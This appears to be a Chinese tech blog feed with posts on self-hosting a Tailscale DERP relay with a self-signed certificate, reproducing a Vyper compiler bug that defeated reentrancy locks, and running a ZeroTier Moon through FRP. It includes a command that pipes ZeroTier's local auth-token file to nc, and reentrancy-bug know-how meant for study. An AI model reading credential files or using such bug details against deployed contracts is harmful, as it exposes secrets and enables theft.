tailscale 是一个很好用的工具,它包含了多种高级特性(例如 Magic DNS)来方便用户的使用,主要用于异地组网。
这也是本人抛弃 Zerotier 选择 Tailscale 的缘故,高级特性很多用的很方便。
tailscale 的底层机制与 zerotier 不同。
而在 P2P VPN 中,自建中继节点是相当重要的。一方面自建中继节点可以比地理位置较远的官方中继节点更好的观察和协调本地两台对等机的 p2p 过程,另一方面可以在打洞失败后快速中继和转发流量。
本人先前的文章已经介绍了 Zerotier 搭建中继节点 Moon 的原理和过程。Zerotier 会在特定 Primary Port 9993 上监听 UDP 连接来中继数据,因此在实际搭建的过程中只需将这一个 UDP 端口暴露至公网即可,要求极低。而暴露端口有多种方式可以实现,例如内网穿透 FRP 等等,也因此 moon 节点甚至都不需要有一个属于自己 IP 地址。
注:Zerotier 不支持自建 TCP 中继,moon 节点实际上只是一个 UDP 中继节点。
而 Tailscale 的中继服务器(称为 DERP 服务)的搭建与 zerotier 相比存在一点困难,而网络上的搭建教程真是参差不齐(跟我之前找 Zerotier Moon 的搭建过程一样难顶,这点要狠狠吐槽一下)。那么接下来,我们来尝试找到一种最简便的方式来构建 tailscale DERP 服务器,顺带学习一下 DERP 服务的一些原理。
Tailscale 的中继 DERP 服务就是一个 TCP 中继节点,与 Zerotier 完全相反。
TL,DR: 如想跳过前置内容,直接快速了解搭建过程,请直接跳转至本文最后一节的总结部分。
看完本文,你将了解到无需公网机器、无需域名、无需证书、无需修改源代码、无需自托管 HeadScale 服务的情况下,只需1-2个端口,来快速构建 Tailscale-DERP 服务。
需要注意的是本篇文章只考虑 tailscale 而不考虑 headscale,因为我希望使用的过程中能够尽可能简便,不想单独部署一个 headscale 控制服务器。
Tailscale 官方文档说明了 DERP 服务器需要满足一些要求:
需要能够公网访问。这是为了让各个 Tailscale 节点可以直接访问到该 DERP 服务器,以此来便于进行后续的流量转发等操作。这个要求非常正常。
需要运行 HTTPS 服务。本质上是为了在传输数据给 DERP 服务器时数据可以通过 TLS 加密。
HTTPS 服务通常需要 带有一个 TLS 证书。DERP 服务器只认 Let‘ s Encrypt 这家服务商颁发的证书,但该服务商不会给纯 IP 的服务器颁发证书。这实际上就隐含了一个条件:还需要一个公共域名。
这里的 TLS 加密和 Tailscale P2P 加密不同,前者是加密 peer to server 的流量,后者是加密 peer to peer 的流量。换句话说,TLS 要加密的数据中会包含(已经被 tailscale peer 加密过的)待中继加密流量。
必须分配 80 端口来运行 HTTP 服务。这个要求很强烈,限制死了端口。
需要额外暴露两个端口来运行 HTTPS 和 STUN 服务。
必须允许 ICMP 流量的出入。Tailscale Document 中用的是 must 来指定其重要性,但个人感觉应该是不需要这个要求。
上面从文档中总结出来的几点要求可能不太准确,因为网络中有部分文章介绍了搭建纯 IP DERP 服务器的过程(但是还是什么介绍都没有,看了跟没看没什么两样……)。不过从我阅读代码得到的经验看来官方文档上这方面内容很有可能已经过时,实际应该不需要这么强的要求。
需要注意的是 DERP 服务要求服务器上需要携带 TLS 证书主要还是出于数据加密的目的;但在 Tailscale 节点中,两个节点在传输数据前会使用各个节点事先已经上传至 Tailscale 中心节点(即协调服务器)里的公钥来做加密。因此,DERP服务器要求的 TLS 证书的实际作用是为了隐藏数据转发的这个行为本身。由于本人自建节点主要是自己使用,因此这个隐藏就显得比较无所谓。
那么这样一来就有一个有意思的问题:
能否在最少操作、最少要求的情况下来做 DERP 中继?
那这就要深入到 DERP 的实现原理了。
当前使用的 tailscale 版本为 v1.52.1 (2023/11/11),git commit 为 86c8ab75.
DERP 的顶层实现主要由两个文件组成
从 DERP 服务器的代码中可以收获一些有意思的东西:
DERP 服务器可以同时运行两个服务,一个是使用 HTTP/HTTPS(TCP 协议)的 DERP 数据中转服务;另一个是使用 UDP 协议的 STUN 打洞服务。
这俩服务刚好使用了不同的运输层协议,所以应该可以把 Zerotier 那套机制拿过来用。
所绑定的 IP、HTTP/HTTPS(DERP 服务) 监听端口、选择指定 HTTP 还是 HTTPS 协议、以及 STUN 监听端口都是可配置的,灵活性很好。
可以指定参数 verify-clients
来限制使用当前 DERP 服务的只能是自己的 tailscale 节点,防止白嫖。不过启用该服务需要当前 DERP 服务器本身就是一个 tailscale 节点,或者存在 socket 文件 /var/run/tailscale/tailscaled.sock
。
1 | // cmd/derper/derper.go |
这些信息说明 DERP 的可配置性很高,且对 TLS 的要求是可选的。不过只知道 DERP 服务可以选择开启 HTTP 协议还不够用,我们还需要看看各个客户端节点是如何配置与使用 DERP 服务的,因为假如客户端节点强制启用 TLS 访问 DERP 服务,那即便关掉 DERP 服务的 TLS 也无济于事。
http-port 参数只会在启用了 HTTPS 服务后,才会尝试监听新的 HTTP 服务(cmd/derper/derper.go#L284)。这意味着 HTTP 服务实际上不是必须的,官方文档里所提出的要求存在冗余。
代码 tailcfg/derpmap.go 展现了下发至 client 上关于 derp 服务的配置信息:
1 | // tailcfg/derpmap.go |
我们既可以指定客户端在连接 DERP 服务器时所使用关于 DERP 服务和 STUN 服务的监听端口,也可以通过测试用的参数来让客户端在连接 DERP 服务器时指定是否启用 TLS 验证(即指定是否使用 TLS 证书)。管中窥豹,看上去好像客户端这块可配置性也比较强。
不过注意:从 DERP Client 的配置文件只能看出可以尝试用 TLS-Insecure 来连接 DERP 服务器的 HTTPS 服务,并没有说明可以直接连接 DERP 服务器的 HTTP 服务。这个需要继续探究。
那么 tailscale 节点是如何实际与 DERP 服务器进行交互的呢?需要关注这三个文件,层次依次从高到低:
sendAddr
支持向 DERP 服务器或直连 peer 发送单个数据包。该文件整体上提供了更新 endpoints、维护网络状态、发送与接收数据包的顶层实现、打洞路径探索等更为高层的功能特性。derpWriteChanOfAddr
,创建与单个 DERP 服务器的复杂连接,并进行信息(message) 处理。这些文件里面内容较多,就不细讲了,自己看看会更能感受到其中的内在精妙。
我们主要关注的是最后一个文件,因为底层操作才是影响我们能否用 non-TLS 协议创建连接的关键位置(即 HTTP 协议,毕竟要是能走 HTTP,那就没必要走关闭证书验证的伪 HTTPS 协议) 。
正常情况下,tailscale 都只会与同个 Region 中的其中一个节点进行连接和通信,即便单个 Region 里存在多个冗余节点,tailscale 也只会连接其中一个:
客户端尝试创建 DERP Region Client:derpWriteChanOfAddr 函数 - wgengine/magicsock/derp.go#L321
实际创建 DERP Region 的 Client 结构体:NewRegionClient 函数 - derp/derphttp/derphttp_client.go#L109
客户端向 DERP Region 发起连接,获取 TCP 连接(注意不是 TLS 连接):dialRegion 函数 - derp/derphttp/derphttp_client.go#L570
在获取 DERP Region 的 TCP 连接后,根据条件判断选择是否使用 HTTPS 协议:derp/derphttp/derphttp_client.go#L392 & derp/derphttp/derphttp_client.go#L426
以下代码先走 switch-case 的 default 分支,之后进入
c.useHTTPS()
语句判断当前是否使用 HTTPS 协议进行连接。
1 | func (c *Client) connect(ctx context.Context, caller string) (client *derp.Client, connGen int, err error) { |
Client.useHTTPS
函数就是客户端用来判断连接 DERP 服务器时是否需要使用 HTTPS 协议,从下面的代码中可以得知,当客户端连接 DERP 服务器时,它几乎一定会使用 HTTPS 协议。很简单,因为 DERP Region Client 的 url 字段是空的,除非启动调试参数,否则它就会使用 HTTPS。
手动在运行 DERP 服务时启用调试参数/修改源代码是比较 dirty 的,个人不太倾向这种操作,尽量能不改代码就尽量不改代码。因此这里我选择启用 HTTPS 协议算了。
1 | // derp/derphttp/derphttp_client.go |
那么现在下结论:在正常情况下,DERP 中继服务一定走(可以不经过 TLS 验证的)HTTPS 协议。
顺带讲一下 derphttp.Client
中 url 字段能否为 http
。唯一一个创建带有 url 字段 Client 结构的函数的调用点如下,从中可以看到,URL 的 scheme 已经被限制死为 https 了,这个功能应该是给 tailscale 官方域名使用,因此对我们来讲用处其实不大:
1 | // cmd/derper/mesh.go |
我在阅读 DERP 代码时,发现它也支持中继 websocket 流量,这引起了我的好奇。
在最初的时候,我以为 DERP 是通过 HTTPS 的 websocket 来中继流量。但经过一番消息查阅和代码阅读,发现事情其实并非这样,而是 tailscale 也支持 p2p 的 websocket 通信。
开发者尝试让 Tailscale 可以运行在浏览器中,这个就有点意思了。那么目前有哪些有意思的浏览器项目可以和 Tailscale 结合呢?我发现了这个 - How we added full networking to WebVM via Tailscale
一句话描述:WebVM 是一个运行在浏览器中的小且精的 Linux VM,tailscale 和 WebVM 一拍即合使得我们可以在浏览器中通过 WebVM 直接访问我们的 tailscale 网络。
这个东西极大的引起了我的好奇心,因为我一直在想要不要单独给机器暴露一个端口用来搭建 Web ssh,以便于在陌生机器上仍然能够访问我的 tailscale 网络。
而现在,我便可以通过浏览器上的 WebVM,使用 ssh 连接进远程机器进行操作,完美满足我的要求,非常的 nice。
截一个使用示例,非常的有趣。WebVM 地址为 https://webvm.io/
在 WebVM 会话存活时, tailscale 网络中会临时加入这台 VM,在该会话死亡时自动从 tailscale 网络中清除:
但比较悲伤的是,WebVM 中的 tailscale 还不太支持 MagicDNS,也就是说得手输入 IP 地址连接远程机器了,没法用主机名。
STUN 是用来进行 NAT 检测的服务。理论上说,将 STUN 放到与两台 peer 越近的位置越好,因为这能减少 NAT穿透的层数。但 STUN 原始协议要求 STUN server 至少拥有两个公网 IP 才能做到非常完备的 NAT 协议检测,因为两个公网 IP 可以让 STUN server 有两个流量出站口,便于模拟出“两台”设备来更好的检测 peer 的 NAT 类型。
但这种条件未免过于苛刻,一个公网 IP 都不太容易拿到,更何况是两个公网 IP,而且还得是两个公网 IP 都绑定在一个设备上,难上加难。不过好消息是 Tailscale 的 stun 并不需要这么高的要求,它的 STUN UDP 服务只做一件事:接受 peer 的 UDP 连接,并告诉 Peer 当前所看到 NAT 的 IP:Port 对:
1 | // cmd/derper/derper.go |
这里的 STUN 服务非常简单,它只做了整个 NAT 检测中最简单的一环,那就是告诉 client 来自 server 的公网视角。
但打洞没有这么简单,Tailscale 还会基于 DERP 服务的 discovery message 旁路信道 + 其他 NAT 检测的黑科技来做 NAT 穿越。
这里就得插一个 Tailscale blog 链接了,最好是点进去看:How NAT traversal works NAT - Tailscale Blog,不过我更推荐看这个译文:[译] NAT 穿透是如何工作的:技术原理及企业级实践(Tailscale, 2020)- arthurchiao’s blog,讲的非常的通俗易懂。
这里不打算介绍 Tailscale 打洞的一整套逻辑,因为关注点还是在于建立 DERP 服务,具体细节可以看上面的文章,而且因为过于黑科技以至于想简短讲完不太可能。不过在这里提到了 STUN 服务只是想说明 Tailscale 的 STUN 服务只需要一个开放的 UDP 端口即可,再没有其他苛刻的条件了。
1 | # 去 https://go.dev/dl/ 下载最新版(一定要下载版本,而非 apt-get install golang) |
创建自签名证书主要是糊弄 derper 用的,让它运行 HTTPS 服务;也可以改 derper 代码来绕过这个限制,但这么做后续也不方便更新 derper。
创建自签名证书有几个注意点:
kiprey-derp
。但是要注意这个 HostName 一定要记住,后面证书签名包括请求访问等等都会用到。1 | mkdir ~/certdir && cd ~/certdir |
1 | # 启动 derper |
以下是 HTTPS 协议 DERP 服务的连通性测试过程:
1 | unset all_proxy http_proxy https_proxy |
测试的时候一定要关闭代理!不然访问 localhost 就会走代理,导致:curl: (35) error:0A000126:SSL routines::unexpected eof while reading
需要注意的是,在访问 DERP 的 HTTPS 服务时,只能用之前指定的 DERP_HOST 这个 HostName 来进行访问,因为 DERP 服务会对 Client 的连接进行校验,确保 Client 发送来的 ServerName 与本地证书的 HostName 一致:
1 | // cmd/derper/derper.go |
因此在测试的时候,如果是使用 curl 访问则需要指定 --resolve
参数,来让发往 DERP_HOST
的请求最终能 resolve 到本地地址:
curl --insecure
--resolve "${DERP_HOST}:8888:127.0.0.1"
“https://${DERP_HOST}:8888”
如果我们直接用浏览器打开的话,页面还是比较简洁的:
注:想用浏览器打开该 HTTPS 服务,要么做地址绑定,要么再建一个
DERP_HOST=localhost
的证书,此处不再赘述。
点击 /debug
,这将会打开一些调试用的数据页面,如果我们再进一步的点击,就可以发现在源代码里经常设置的调试字段。我们可以利用这里的字段来间接判断 DERP/STUN 是否工作正常。
这个非常有用,因为我们可以通过这种方式来确认 DERP 服务和 STUN 服务是可以指定同一个端口并正常工作的(因为两个服务一个使用 TCP 一个使用 UDP):
nc 上去后初始时 not_stun 值为 5,在发送三行数据后值变为了 8。
那么 Zerotier 那一套操作就可以直接套在 Tailscale DERP 服务器上了(mix-port)。
出于安全性的考虑,我们希望在实际部署时关闭掉这个 debug 模式,那该如何操作?
这个实际上已经不需要我们操心,从 tsweb/tsweb.go#L53 中可以看出,它只会为满足几个条件的 debug 请求放行:
1 | // AllowDebugAccess reports whether r should be permitted to access |
实际测试如下:
在本文章中,为了区分开 DERP 和 STUN 服务的不同,这两个服务暂不指定至相同的端口。
DERP map 的编写可以参考官方: derp-map - tailscale
1 | { |
注意:1. HostName 填写为先前确定的那一个 DERP_HOST,用于传递给 Server 校验;InsecureForTests 用于让客户端跳过证书校验。
将其保存为 derp-map.json 并运行:
1 | $ ~/go/bin/derpprobe -derp-map file://$HOME/derp-map.json -once |
derpprobe 探测内容
先简单说明一下 derpprobe 探测的内容,它主要是探测以下三种功能(功能位于prober/derp.go):
可以看到输出的结果里存在错误,其错误有两点:
TLS 连接失败。阅读源代码发现 DERP TLS probe 连接 DERP 服务器的方式不太正宗,连接逻辑和常规客户端连接 DERP 服务器完全不同,并且只会请求访问配置中的 HostName 字段,而不会使用 IPv4/IPv6 字段(prober/derp.go#L97),同时还不使用 InsecureForTests 字段来设置关闭证书验证,因此 TLS probe 的错误就无法处理了;不过这个错误也无关紧要。
Prober 连接 DERP 服务失败。DERP 服务一直报如下信息的错误:
1 | 2023/XX/XX XX:XX:XX derp: 127.0.0.1:50566: client xxxxx rejected: client nodekey:xxxxx not in set of peers |
通过调试发现是因为 prober 所使用的 client key 是随机生成的,因此 DERP 在指定 —verify-clients
后会将该 prober 连接阻断,在测试时需要去除 DERP 服务的这个参数,最终效果如下:
简单解释一下 Prober 的使用关键点:
上图中本人在运行 derpprobe 时是直接运行最新源代码,而非通过 go install 预编译二进制文件的形式。这是因为在本人使用 derpprobe 时,刚好 derpprobe 正在修复bug,最新版本的修复代码尚未提交至 go pkg,因此是直接运行的源代码。
使用 Prober 时一定要清除 proxy,否则你就会发现本该连接成功的 HTTPS 请求在一个奇怪的地方被”劫持“,导致 prober 失败:
那么,derpprobe 的测试到此为止,接下来要实际部署进 tailscale 网络中来进行测试。
DERP mesh probe 探测原理
顺带说一下 DERP mesh probe 的探测原理,这个比较有意思,其目的是测试不同 client 连接同一个 Region(Cluster)时的数据转发效果,这里尤其需要考虑不同 client 连接至同一个 Region 但不同 Region Node 时消息的转发状态。其测试过程如下:
为了避免混淆,规定 client1、client2 为非 DERP 服务的两个不同客户端节点;sclient1、sclient2 为 DERP 服务内对应创建的两个结构体,用来和 client1、client2 交互等等。
初始时,prober 会在 derpProbeNodePair 函数里创建出两个分别连接不同 Region 的 client 结构 client1(连接 derp1) 和 client2(derp2)。这两个 client 使用了不同的密钥对,以假装是两个独立 Node 来对不同 DERP 发起连接。
但要知道的是,代码里只是传入了两个处于同一 Region 的不同 RegionNode,那该如何达到连接不同 Region 的目的呢?事实上,prober 会将这些 DERP 节点伪造成来自不同 Region 的节点(prober/derp.go#L364,注意所返回的 DERPRegion 的 Nodes 都是传入的单个节点,RegionID 相同没有影响)。
另一边,远程 DERP 服务会在收到 client 的连接请求后,调用 registerClient 函数:
在 DERP 服务本地维护一个结构体 sclient,保存每个 client 连接的状态以及尚未发出的信息。
DERP 这里一个
sclient
结构配对 Client 端的一个derphttp.Client
。
向正在 watch 本 DERP 服务连接状态的其他 DERP Client 广播该 client 的上线情况(例如是否上线、远程 IP 地址信息等等,broadcastPeerStateChangeLocked 函数)
接下来,prober 会令 client1 发送随机 8 字节数据给 client2,并期望能从 client2 中接收到相同的数据。数据的实际流向应该是 client1 → derp1 → derp2 → client2
。具体来说:
假如 client1 和 client2 连接的是同一个 Region(即 derp1 和 derp2 是同一个,只是逻辑上我们将它们分开来),那么 derp1 事实上是拥有 client2 在 derp1 这里所对应的 sclient2 结构体,则 derp1 会直接发送 raw packet 给 sclient2。
该 raw packet 里会附带上传入数据的原始来源节点的 key(实际上就是每个节点所持有的公钥),相当于是把数据来源方的 ID 保存在了 raw packet 里。
sclient2 在接收到这个 raw packet 后会生成 frameRecvPacket 给 client2。如此 client2 便可以调用 Recv 函数来获取其他节点发送给 client2 的数据。
假如 client1 和 client2 连接的是独立的 Region,那么由于 derp1 也不知道 client2 的具体地址,它就会去获取知道 client2 地址的 fowarder 句柄(在这里是一个 连接着 derp2 的 sclient 结构体)。通过该 fowwarder 句柄将消息从 derp1 传输给 derp2,并由 derp2 来将消息传递给 sclient2,并最终发送给 client2。
forward 操作只会执行一次,不会执行第二次。
那么 derp1 是怎么知道要找 client2 得先找 derp2 呢?这就跟上面 2.b
提到的 client 状态广播机制有关。在启动 derp 服务时,参数中可以指定其他多个处于同一个 region Node 的 mesh 节点,derp 服务会依次向这些 mesh 内的 derp 节点发起连接,并 watch 这些节点的 client 连接状态,以维护 derp 服务的 fwd 状态。
不过这些就太细节了,没什么必要追究的了。
如果需要单步调试相关逻辑的话,需要手动 git clone tailscale 仓库至本地来调试,不能直接用 ~/go/pkg/mod/tailscale.com@v1.50.1
底下的,因为这里的文件夹没有写权限。
本人使用的 VSCode launch.json 如下,注意 program
一栏只能指定到文件夹,不能指定到具体的 go 代码,因为这会让调试器无法找到多文件项目中其他 go 代码,导致符号缺失:
1 | { |
这一节我将整合上面的所有内容,从头到尾以最短篇幅描述搭建一个 DERP 服务器的操作流程。
重申:当前使用的 tailscale 版本为 v1.52.1 (2023/11/11),git commit 为 86c8ab75.
这里重点说明一下 tailscale 版本,因为 Tailscale 迭代升级速度很快,可能一两年后该文章就不再适用了(捂脸)
只有一个要求,那就是一个允许通过 TLS 流量的 TCP 协议的公共信道以及一个 UDP 协议的公共信道。
无需域名、无需 TLS 证书、无需修改任何源代码、也无需自行部署 Headscale 等等,找个内网穿透服务就能建。
这里说的比较抽象,实际上就是要么是一个 TCP 端口和一个 UDP 端口,要么就是一个端口同时允许 TCP 和 UDP 通信(mix-port)。如果不想运行 stun 服务只想搭建 derp 中转服务的话,则无需 UDP 端口。
但无论如何,TCP 端口都 不得限制 TLS 流量的通过,通常这种限制会来自于运营商(例如家用公网 IP 部署)或者内网穿透服务商(服务商要对穿透内容负责,因此可能需要实名认证等方式才能放行用户的 TLS 流量)。
以下所有命令全部在 DERP 服务器上运行。
1 | # 去 https://go.dev/dl/ 下载最新版(一定要下载版本,而非 apt-get install golang) |
配置端口暴露至公网。这一步既可以通过内网穿透完成,也可以配置已有暴露至公网的机器的 iptables 策略:
请注意:iptables 策略有优先级之分,一定要插到 DROP all 之前。
1 | # 配置 TCP 入站,将允许 dest-port 为 8888 的 TCP 连接规则插入 iptables 中的第 10 条 |
接下来,配置并启动 DERP 服务。
1 | # 指定 DERP_HOST 为 kiprey-derp(后面会用) |
启动 DERP 服务后,在另一台机器上做连通性测试:
1 | # 这里的 DERP_HOST 要与 DERP 服务上的一致 |
连通性测试通过后,DERP 服务器上先关闭 derp 服务,创建 service 来让它开机自启:
1 | DERP_HOST="kiprey-derp" |
到这里后,DERP 服务配置完成。
接下来要去 Tailscale admin panel 网页,配置一下 ACL 以更新所有 tailscale 节点的配置信息。
1 | ... |
在网页上保存好 ACL 后,ACL 会立即下发到各个 tailscale 节点里。随便找个节点运行 netcheck,可以发现 DERP 成功添加:
智能合约在区块链的世界中较为重要。本文记录了笔者在复现 Python 智能合约编译器 Vyper 中的一个编译漏洞,该漏洞导致智能合约中的重入锁变得无效,进而使得合约易受重入攻击。
下载 Vyper 编译器源代码并通过 pip 安装依赖。
1 | git clone git@github.com:vyperlang/vyper.git |
运行 python3 -m vyper --help
,能正常输出帮助信息即可:
1 | $ python3 -m vyper --help |
最后切换到漏洞引入点:
1 | # https://github.com/vyperlang/vyper/commit/a09cdddd8ba249d1ce68ac31ec4496e50b8a25c7 |
如果想要单步调试跟进,那就需要:
1 | # 在 vyper 项目根目录下 |
合约的代码可以在链上合约地址处找到,例如 https://bscscan.com/address/0x245a45cdf2271d026976811a80c091fe5b49ac40#code
合约是开源的,肯定有不止一种找到合约源代码的方式,上面也只是举例演示一下。
在讲解漏洞根因之前,我们先来简单了解一下在引入漏洞 commit 之前,关于重入锁的状态维护逻辑。
对于重入锁来说,自然是需要在 Storage 上有一个 slot 用来存放锁的状态。也就是 get_nonreentrant_lock
函数做的事情:
1 | # 引入漏洞 commit 前 |
从代码中可以看到,当某个函数被标记为禁止重入时,vyper 会在需要用到重入锁的合约逻辑时,编译生成以上一系列的 IR。这些 IR 做的事情很简单,获取锁时检查锁是否为 0 && 将锁状态设置为 1;释放锁时重设锁状态为 0。
而存放锁状态的 slot 是通过 global_ctx.get_nonrentrant_counter
函数所得,也就是那个在漏洞 commit 里被标记为 dead code 的函数,该函数会根据传入的 key 来确定要用哪个 slot 来存放锁状态:
1 | def get_nonrentrant_counter(self, key): |
而在函数重入中,这个 key 值是 vyper 脚本中的那个字符串,例如以下代码中的 lock
字符串,它用于区分开不同的重入锁:
1 |
|
总结一句话,在引入漏洞 commit 之前,vyper 使用脚本里重入锁的字符串来区分开不同的重入锁,而区分的方式是根据字符串来选择用于存放重入锁状态的 slot 位置。这样一来,倘若不同函数使用了相同名称的重入锁,则这些重入锁将会使用同一个 slot,来抵御重入攻击。
引入漏洞前,vyper 用于存放重入锁状态的各个 slot 是直接追加在全局变量分配存储的末尾:
1 | def get_nonrentrant_counter(self, key): |
漏洞 commit 尝试将重入锁的状态变量与其他全局变量的分配合并掉,即在解析 vyper AST 阶段时就一并做掉重入锁的 slot 分配,而非在后续生成 IR 阶段时再去动态生成和指定重入锁的 slot 位置。因此 global_ctx.get_nonrentrant_counter
这个用来动态生成重入锁 slot 位置的函数就不再被调用了,被开发者标记为 dead code。而指定重入锁位置的重任则交付到了 set_storage_slots
函数上,该函数在 AST 解析阶段执行,其先前的作用只是用来指定各个变量存储的 slot 位置。
从这里我们可以看到,在漏洞 commit 里 vyper 是怎么指定各个函数的重入锁所在 slot 呢?没错,它每个函数分配一个重入锁 slot,也就是说对于不同函数的同名重入锁而言,这些重入锁相互之间不会阻止重入。
以下是一个关于该 vyper 重入漏洞的 POC:
1 |
|
这个 POC 的逻辑很简单,它声明了两个不同的函数,但这两个函数使用了相同名称的重入锁。我们来输出它的 IR 看看:
输出 IR 命令:python3 vyper.py -f ir <vyper-script-path>
1 | $ python3 vyper.py -f ir vyper_workdir/test.vy |
可以看到那两对 sstore 指令使用的 slot 不是同一个,第一个函数使用了 slot0,而第二个函数使用了 slot1。
漏洞补丁很简单,只允许在出现不同名的重入锁时才使用新的 slot:
]]>Zerotier 是一个专用于异地组网的工具,它方便将多台异地机器以 P2P 或者 中转 Relay 的方式实现宛如局域网般的流畅体验。
Zerotier 组网中节点分为三个部分,分别是位于国外的中央服务器 Planet,用户自建节点 Moon,以及用户其他节点 Leaf。
由于 Planet 位于国外,当两台机器地理位置相隔甚远时,无论是 UDP 打洞还是 Relay 中继,速度都非常慢,因此尝试自建一台国内Zerotier Moon 来提高打洞概率 + 中继速度。
网上搭建 Zerotier Moon 的教程都需要购买一台服务器,但本人不想这么折腾,因此尝试探索 FRPC 内网穿透的搭建方式。
在做内网穿透/搭建 Moon 之前,我们得先理解 Zerotier 的打洞和中继原理。
本节参考:ZeroTierOne/service/OneService.cpp - github,以及自己花费大量时间调试 + wireshark 抓包的痛苦经验。
Zerotier 会在本地同时使用 3 个端口,其中每个端口都会分别监听 TCP 和 UDP 连接。以下是 Zerotier 在我本机上的监听:
1 | ➜ zerotier-one sudo lsof -i -P -n | grep zerotier |
先讲端口,这三个端口分别为首选端口、次选端口和末选端口,这三个端口的定义如注释所描述的那样:
1 | // ref: https://github.com/zerotier/ZeroTierOne/blob/adfbbc3/service/OneService.cpp#L802 |
其中首选端口默认固定为 9993(默认端口可被修改,参阅ZeroTier One Network Virtualization Service Documentation)。
我在网上看搭建 Moon 的教程中有看到过设置 9995 端口的,不看源码是真容易搞不清楚哪个端口更重要。
现在明确一点,Zerotier 默认情况下不涉及 9995 端口,只涉及到 9993 端口。
当 host 尝试连接 peer 时,这三个端口会同时发送 UDP 数据至 peer。
上下文中 host 指代本机,尽管 p2p 是去中心化的,但是为了便于说明还是要区分本机和远程对等机。
peer 在接收到数据后,对应端口会立即朝着源地址返回一个 UDP 包打洞。倘若 host 接收到 peer 返回的三个 UDP 包的任意一个,则视为可被 DIRECT ACCESS,即 P2P 打洞成功。host 和 peer 会定期发送心跳包维护 p2p 洞,此时数据传递所使用的端口即 host 成功接收到的 peer 包的那个端口。
在抓包时,经常看见 host 发三个 udp 给 Peer(注意一共有三个端口,一个端口发一个),而最后只能从 peer 那边接收到一个 UDP 包。
使用 zerotier-cli peers
命令可以查看本机与其他 peer 的连接是 DIRECT(p2p) 还是 relay(中继),只有这两种连接状态。
该命令需要 sudo/管理员权限。
我们同时还可以看到 Zerotier 会监听这三个端口的 TCP 协议数据。这里的 TCP 协议数据与打洞/peers沟通无关,它实际上使用的是 Http 协议,主要用来与本地的 zerotier-cli 进行交互,例如:
1 | ➜ zerotier-one echo "GET /info HTTP/1.1\r\nX-ZT1-Auth: $(sudo cat /var/lib/zerotier-one/authtoken.secret)\r\n\r\n" | nc 127.0.0.1 9993 -v |
这里我只测试成功过
127.0.0.1:9993
的 TCP 连接,其他监听端口/监听地址的组合我都无法用 nc 测试成功过,暂不了解具体原因。
具体其他的 HTTP 请求选项可以参考 Network Virtualization Service API 来理解,这里不再赘述。
当 host 和 peer 没法 p2p 直连时,Zerotier 会尝试使用中继手段,相关逻辑位于 nodeWirePacketSendFunction 函数 中。
中继也分为两种,一种是 TCP 中继,一种是 UDP 中继:
UDP 中继。UDP中继是 Zerotier 的主流中继实现方式,它会寻找 Moon/Planet 并要求他们来为待发送的数据包进行 UDP 中继,因此无论是 host 还是 peer,中继发送/接收的数据全部都是 UDP 数据,逻辑比较简单。
TCP 中继。 Zerotier 认为 TCP 中继开销太大,因此只在极端恶劣的情况下(例如UDP中继完全失败,即所有UDP数据包全被网关过滤或者超时非常严重等情况,)才会使用 TCP 中继,但事实上这种恶劣情况概率极小,所以可以等同于 Zerotier 基本上不使用 TCP 中继。
Zerotier 只有在 60s 没有接收到任何数据时才能进行 TCP中继,这个时间相当的长,相信大多情况下应该都不会触发这个条件。
用户可以根据 ZeroTier TCP Proxy Server Documentation 配置 local.conf
来指定是否强制使用 TCP 中继。在启用强制TCP中继后,UDP中继功能将不再启用。虽然 Zerotier 认为 TCP 中继会比 UDP 中继慢,但事实上我用 ping 测试发现 TCP 中继节点比 UDP 中继节点距离我更近一点,延迟更小,因此 Zerotier 的这个说法仁者见仁智者见智,需要理论联系实际。
Frpc 用来穿透 Moon 服务器的 9993 UDP 端口。
这里本人用的是 NatFrp,这个真的相当良心,免费版每月 5Gb/10Mbps/2tunnel,基本满足绝大多数的需求。
选一个距离 peers 比较近一点的机房,然后选多线机房(个人理解是同时接入多个运营商网络的机房),这样本机在任何运营商网络下都能有比较高的 p2p 打洞成功概率,这是我的隧道配置:
注意这里指定本机 IP 时一定要指定为局域网IP(即 192.168.0.0/16 等),而非回环IP(即127.0.0.1),符合条件的局域网 IP 范围如下图所示:
代码位置位于 InetAddress::ipScope 函数。
可能有人看到 172.16.0.0/12
也可以,因此就在 Zerotier 控制面板上给 moon 服务器/被穿透的服务额外增添了一个 172.16
打头的虚拟网 IP,之后把 Frpc 绑定到这样新添加的 172.16 打头IP上,以为也能达到要求。但经过本人实验是不行的,原因是 Zerotier 服务不会监听 Zerotier 自己虚拟网段下的 IP。
这里填写的本机IP,一定要是既符合上图网段要求,同时还被 Zerotier 监听 UDP 协议的 IP。
如果兴趣不大则可以跳过本节内容。
这是因为 isAddressValidForPath 函数 只把四种类型的 IP 视为有效地址:
1 | /** |
这其中包括了 IP_SCOPE_PRIVATE
局域网地址和 IP_SCOPE_GLOBAL
公网地址,但并不包括 IP_SCOPE_LOOPBACK
回环地址。
Zerotier 在接收到 UDP 数据包后会获取包中的目的 IP,进而判断该数据包是否合法。这个逻辑比较容易理解,只要知道对方朝的是自己哪个 IP 地址发包,就能得知哪个网卡可以 p2p 打洞。
但倘若 FRP 绑定的是本机的 127.0.0.1,那么即便其他 peer 能通过 FRP 发包到 udp://127.0.0.1:9993
,Zerotier 也会丢弃接收到的 UDP 数据,造成 p2p 失败。
在创建好隧道并且也在远程 moon 节点所在机器上也连接好 Frpc 隧道后,接下来需要测试一下 host 和 moon 之间的 UDP 收发能力。
这一步非常重要,因为 UDP 协议的特殊性,很多网络都会对 UDP 数据包有着严苛的过滤条件。
例如本人在学校校园网中就无法成功收发 UDP 数据包。
测试步骤很简单:
修改 moon 机器上 frpc 待转发的端口,从 9993 修改为 9992,之后重新启动 frpc,此时穿透的 UDP 数据应该会发送至本机 9992 端口处。
这一步可以通过直接修改 frpc.ini 或者在网页面板上修改并重新拉取配置文件来完成。
9992端口没有什么特殊性,可以随便改成一个自己记得住的端口;这里修改端口是因为 9993 端口已经被 Zerotier 服务占用了,一个端口无法同时被多个 UDP 监听。
在 moon 机器上启动 UDP-EchoServer 服务,以下是我用来测试的 python 代码:
1 | # python3 /tmp/udp-echoserver.py 192.168.XX.XX 9992 |
host 上运行 nc -u <ip> <port>
向 Frpc 中转服务器发送 UDP 数据包,查看发送的数据包能否被转发回来。
测试效果如下,图中上面两个窗口是 moon 服务器的 shell,最下方窗口是 host 的 shell。host 使用 nc -u <ip> <port>
并在交互式界面中输入数据并按下 enter 键发送。该 UDP 数据包将被发送至 Frpc 中转服务器并穿透至 moon 的 udp://192.168.x.x:9992
